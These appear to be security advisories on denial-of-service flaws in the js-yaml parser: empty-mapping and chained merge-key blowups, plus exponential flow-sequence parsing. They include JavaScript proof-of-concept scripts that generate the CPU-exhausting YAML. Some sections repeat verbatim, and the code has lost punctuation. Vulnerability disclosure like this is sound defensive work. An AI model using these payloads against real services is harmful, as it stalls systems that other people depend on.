Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N K) work while totalMergeKeys remains unchanged.
PoC
js import { performance } from 'node:perfhooks' import { load, YAML11SCHEMA } from 'js-yaml'
const n = 20000
const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11SCHEMA })
console.log(${(performance.now() - started).toFixed(1)} ms)
Observed results:
| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 until 5.2.2, parsing a small YAML document can take exponential time when an application calls load() or loadAll() on untrusted input. In src/parser/parser.ts, readFlowCollection uses restoreState and calls parseNode a second time when a flow-sequence entry is recognized as a key: value pair. If the key is a nested flow sequence of the same shape, every level is parsed twice, causing O(2^n) work and allowing an input under 200 bytes to keep one CPU busy for minutes, block the Node.js event loop, and stall the process. No anchors, aliases, merges, tags, or nondefault options are required. This issue is fixed in version 5.2.2.
js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 until 5.2.2, parsing a small YAML document can take exponential time when an application calls load() or loadAll() on untrusted input. In src/parser/parser.ts, readFlowCollection uses restoreState and calls parseNode a second time when a flow-sequence entry is recognized as a key: value pair. If the key is a nested flow sequence of the same shape, every level is parsed twice, causing O(2^n) work and allowing an input under 200 bytes to keep one CPU busy for minutes, block the Node.js event loop, and stall the process. No anchors, aliases, merges, tags, or nondefault options are required. This issue is fixed in version 5.2.2.
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
yaml a0: &a0 { k0: 0 } a1: &a1 { <<: a0, k1: 1 } a2: &a2 { <<: a1, k2: 2 } a3: &a3 { <<: a2, k3: 3 } ... b: aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
js import { performance } from 'node:perfhooks' import { Buffer } from 'node:buffer' import { load, YAML11SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) { lines.push(a${i}: &a${i} { <<: a${i - 1}, k${i}: ${i} }) }
lines.push(b: a${count - 1}) return ${lines.join('\n')}\n }
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(N: ${n}) console.log(YAML size: ${Buffer.byteLength(source)} bytes)
const started = performance.now() const result = load(source, { schema: YAML11SCHEMA }) const elapsed = performance.now() - started
console.log(parse time: ${elapsed.toFixed(1)} ms) console.log(top-level keys: ${Object.keys(result).length}) console.log(b keys: ${Object.keys(result.b).length})
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
yaml a0: &a0 { k0: 0 } a1: &a1 { <<: a0, k1: 1 } a2: &a2 { <<: a1, k2: 2 } a3: &a3 { <<: a2, k3: 3 } ... b: aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
js import { performance } from 'node:perfhooks' import { Buffer } from 'node:buffer' import { load, YAML11SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) { lines.push(a${i}: &a${i} { <<: a${i - 1}, k${i}: ${i} }) }
lines.push(b: a${count - 1}) return ${lines.join('\n')}\n }
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(N: ${n}) console.log(YAML size: ${Buffer.byteLength(source)} bytes)
const started = performance.now() const result = load(source, { schema: YAML11SCHEMA }) const elapsed = performance.now() - started
console.log(parse time: ${elapsed.toFixed(1)} ms) console.log(top-level keys: ${Object.keys(result).length}) console.log(b keys: ${Object.keys(result.b).length})
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.